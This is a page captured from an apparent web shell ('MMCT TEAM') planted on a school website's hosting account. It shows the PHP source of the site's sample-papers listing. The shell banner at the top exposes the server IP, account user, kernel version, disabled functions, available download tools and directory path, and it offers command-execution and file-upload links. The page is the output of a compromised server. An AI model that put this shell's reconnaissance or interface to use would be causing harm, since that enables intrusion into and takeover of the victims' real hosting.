MMCT TEAM
Server IP : 86.38.243.181  /  Your IP : 216.73.216.51
Web Server : LiteSpeed
System : Linux in-mum-web1336.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User : u986601745 ( 986601745)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u986601745/domains/emrskalsi.com/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u986601745/domains/emrskalsi.com/public_html/sample-paper.php
<!DOCTYPE html>
<html lang="en" style="overflow-x: hidden;">
<head>
  <meta http-equiv="content-type" content="text/html;charset=UTF-8" />
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <title>Eklavya Model Residential School - Sample Paper</title>
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
<?php include('include/header.php'); ?>

<div class="breadcrumbs">
    <div class="container">
    <ul class="pull-left breadcrumb">
        <li><a href="javascript:void(0)">Exams and Results</a></li>
        <li><a href="javascript:void(0)">Sample Papers</a></li>
    </ul>
    
</div>
</div>

</div>

<style>.menshow{display:block !important}</style>

</div></div><div class="" id="pr">
    <div class="container-fluid row"><div class="col-xs-12 col-md-12 col-lg-12" ><div class="ap-section ">
      <div class="headline" id="headlines"><h2 >Sample Papers</h2>
      </div>

  </div>	
  <div class="">



    <div class="" >
        <div class="table-responsive">
           <!--  <div class="col-md-4 upload_srch" style="margin-top:10px;">


                <div class="form-group input-group">


                  <input type="text" class="form-control" id="filter1" placeholder="Search..">



                  <span class="input-group-btn">
                    <button class="btn btn-primary" type="button"style="height:34px;">
                      <span class="glyphicon glyphicon-search"></span>
                  </button>
              </span>        
          </div>

      </div> -->
      <table align="center " class="footable table table-bordered bg-head  table-striped" data-filter="#filter1" data-limit-navigation="5" data-page-size="10" cellpadding="5" cellspacing="5" border="1">
        <thead>
            <tr>
                <th>S.No.</th>
                <th>Class</th>
                <th>Category</th>
                <th>Subject</th>
                <th>Title</th>
                <th>Publish Date</th>
                <th>Download/Details</th>
            </tr>
        </thead>
        <tbody>
            <?php
            $q = "select paper.*,class.class_name from paper left join class on class.id=class_id";
            $query = mysqli_query($conn,$q);
            $i=1;
            while($res = mysqli_fetch_array($query)) { 
                $file_size=$res['file_size']/1000;
                ?>
                <tr>

                 <td><?php echo $i++; ?></td>
                 <td><?php echo $res['class_name'] ?></td>
                 <td><?php echo $res['category'] ?></td>
                 <td><?php echo $res['subject'] ?></td>
                 <td><?php echo $res['title'] ?></td>
                 <td><?php echo $res['publish_date'] ?></td>
                 <td><a style="color: #007bff;" href="admin/<?php echo $res['file'] ?>" download >Download (<?php echo round($file_size,2) ?> KB) <i class="fa fa-file-pdf-o red_pdf pad-left"></i></a>  </td>
                 
             </tr>
         <?php } ?>
     </tbody>

 </table>
</div>
</div>
</div>

</div>
</div>
</div>
<?php include('include/footer.php'); ?>

MMCT - 2023